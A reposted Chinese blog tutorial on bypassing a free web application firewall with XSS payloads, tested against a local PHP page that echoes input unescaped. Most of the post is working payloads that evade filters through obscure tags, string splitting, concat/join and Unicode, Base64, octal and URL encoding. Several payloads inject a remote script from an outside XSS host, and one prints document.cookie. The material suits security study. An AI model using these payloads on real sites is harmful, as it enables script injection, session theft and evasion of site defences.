测试WAF来学习XSS姿势

栏目: 编程工具 · 发布时间: 5年前

内容简介:本地搭建测试waf测试,xss相关防护规则全部开启。

测试WAF来学习XSS姿势

0x00 搭建环境

本地搭建测试waf测试,xss相关防护规则全部开启。

测试WAF来学习XSS姿势

0x01 Self-Xss绕过

测试脚本

  <?php   
    $input = @$_REQUEST["xss"];
    echo "<div>".$input."</div>"
  ?>

首先思路就是一些被waf遗漏的标签,暂时不考虑编码或者拼接字符串这类思路,我们直接拿来测试。

<video src=1 onerror=alert(/xss/)>绕过。

测试WAF来学习XSS姿势

类似的标签还有<audio src=x onerror=alert(/xss/)>

测试WAF来学习XSS姿势

除此之外以下几个payload都可以绕过。

  <body/onfocus=alert(/xss/)>
  <details open ontoggle=alert(/xss/)>
  <button onfocus=alert(/xss/) autofocus>

利用伪协议

waf拦截

测试WAF来学习XSS姿势

加上一个xmlns属性即可绕过

测试WAF来学习XSS姿势

实际上,我测试的waf是免费使用的,所以有些厂商可以象征性的取一些样本,拦截一下常见的标签,如果你购买了厂商的高级服务,那我们绕过就有难度,然而大多数网站还是使用免费版的多。

拼接字符类

拼接字符串的话,一般把关键字拆分成几个字符串,再拼接执行,结合top,concat之类的。

top对象

top输出字符

测试WAF来学习XSS姿势

或者打印cookie

测试WAF来学习XSS姿势

top可以连接对象以及属性或函数,那么我们可以做到很多,例如:

直接top连接一个alert函数

测试WAF来学习XSS姿势

<details open ontoggle=top.alert(1)>也可以绕过waf

测试WAF来学习XSS姿势

top[‘alert’](1)也可弹窗,但waf拦截

测试WAF来学习XSS姿势

绕过的话,很简单用prompt方法或者confirm都可以

<details open ontoggle=top[‘prompt’](1)>

测试WAF来学习XSS姿势

如果我说一定要用alert的话就要用到接字符串了。

<details open ontoggle=top[‘al’%2b’ert’](1)> %2b为url编码的+

测试WAF来学习XSS姿势

eval函数执行

<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >

测试WAF来学习XSS姿势

eval直接用也可以弹

<details open ontoggle=eval(‘alert(1)’) >

测试WAF来学习XSS姿势

这里为什么说到eval呢?因为如果eavl不拦截的话,我们可以测试各种编码,当然这是在牺牲长度的前提下。

例如: Unicode编码

<details open ontoggle=eval(‘\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029’) >

测试WAF来学习XSS姿势

其他:

Base64编码:

<details open ontoggle=eval(atob(‘YWxlcnQoMSk=’)) >

eval拦截的话,可以试试,把 e Unicode编码

<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >

url编码:

<details open ontoggle=%65%76%61%6c(atob(‘YWxlcnQoMSk=’)) >

url编码:

<details open ontoggle=eval(‘%61%6c%65%72%74%28%31%29’) >

JS8编码:

<details open ontoggle=eval(‘\141\154\145\162\164\50\61\51’) >

Ascii码绕过:

<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

其他自测

引用外部url,运用基于DOM的方法创建和插入节点把外部JS文件注入到网页。

<details open ontoggle=eval(“appendChild(createElement(‘script’)).src=’http://xss.tf/eeW'”) >

测试WAF来学习XSS姿势

url编码

<details open ontoggle=eval(%61%70%70%65%6e%64%43%68%69%6c%64%28%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%29%2e%73%72%63%3d%27%68%74%74%70%3a%2f%2f%78%73%73%2e%74%66%2f%65%65%57%27) >

测试WAF来学习XSS姿势

window对象

window和top类似,比如:  <img src=x onerror=window.alert(1) >

拼接一样的  <img src=x onerror=window[‘al’%2B’ert’](1) >

其他操作,参照上一章。

通过赋值,也是我们常见的,看个例子:

<img src=x onerror=_=alert,_(/xss/) >

<img src=x onerror=_=alert;_(/xss/) >

<img src=x onerror=_=alert;x=1;_(/xss/) >

测试WAF来学习XSS姿势

短一点的<body/onfocus=_=alert,_(123)>

测试WAF来学习XSS姿势

函数赋值,也比较常见

<body/onfocus=”a=alert,a`/xss/`”>

concat()

concat方法在实际应用中,不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串。

测试WAF来学习XSS姿势

例如:   <iframe onload=location=’javascript:alert(1)’>拦截

测试WAF来学习XSS姿势

使用concat来拼接字符串javascript:alert(1)

<iframe onload=location=’javascri’.concat(‘pt:aler’,’t(1)’)>

测试WAF来学习XSS姿势

假设concat没被过滤,可以用来干扰waf判断

<iframe onload=s=createElement(‘script’);body.appendChild(s);s.src=’http://x’.concat(‘ss.tf/’,’eeW’); >

测试WAF来学习XSS姿势

如果concat被拦截,可以尝试编码

<iframe onload=s=createElement(‘script’);body.appendChild(s);s.src=’http://x’.\u0063oncat(‘ss.tf/’,’eeW’); >

join函数将数组转换成字符串

测试WAF来学习XSS姿势

那么我们可以将一些关键字作为数组,再用join连接,转化成字符串。

<iframe onload=location=[‘javascript:alert(1)’].join(”)>

<iframe onload=location=[‘java’,’script:’,’alert(1)’].join(”)>

测试WAF来学习XSS姿势

document.write

document.write向页面输出内容。

测试WAF来学习XSS姿势

测试WAF来学习XSS姿势

<script>alert(1)</script>Ascii编码

<body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)) >

测试WAF来学习XSS姿势

也可以直接插入js代码<sCrIpt srC=http://xss.tf/eeW></sCRipT>

<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,120,115,115,46,116,102,

47,101,101,87,62,60,47,115,67,82,105,112,84,62))>

测试WAF来学习XSS姿势

setTimeout()

setTimeout(‘要执行的代码’)

测试WAF来学习XSS姿势

alert(1)编码,即可轻松绕过waf

<svg/onload=setTimeout(‘\141\154\145\162\164\50\61\51’)>

<svg/onload=\u0073etTimeout(‘\141\154\145\162\164\50\61\51’)>

<svg/onload=setTimeout(‘\x61\x6C\x65\x72\x74\x28\x31\x29’)>

<svg/onload=setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))>

测试WAF来学习XSS姿势

杂谈

结合一些分割组合函数,再进行编码,尝试绕过waf,查看是否调用jquery框架。我也是刚刚学xss不久,难免有所出错,希望师傅指正。

感兴趣的同学可以关注Github项目: https://github.com/S9MF/Xss_Test

参考致谢

https://secvul.com/topics/259.html

【XSS】绕过WAF的姿势总结

https://www.t00ls.net/viewthread.php?tid=46056&highlight=攻破黑市之拿下吃鸡DNF等游戏钓鱼站群


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

小米生态链战地笔记

小米生态链战地笔记

小米生态链谷仓学院 / 中信出版集团 / 2017-5 / 56.00

2013年下半年,小米开始做一件事,就是打造一个生态链布局IoT(物联网);2016年年底,小米生态链上已经拥有了77家企业,生态链企业整体销售额突破100亿元。这3年,是小米生态链快速奔跑的3年,也是小米在商场中不断厮杀着成长的3年。 3年,77家生态链企业,16家年销售额破亿,4家独角兽公司,边实战,边积累经验。 小米生态链是一个基于企业生态的智能硬件孵化器。过去的3年中,在毫无先......一起来看看 《小米生态链战地笔记》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

MD5 加密
MD5 加密

MD5 加密工具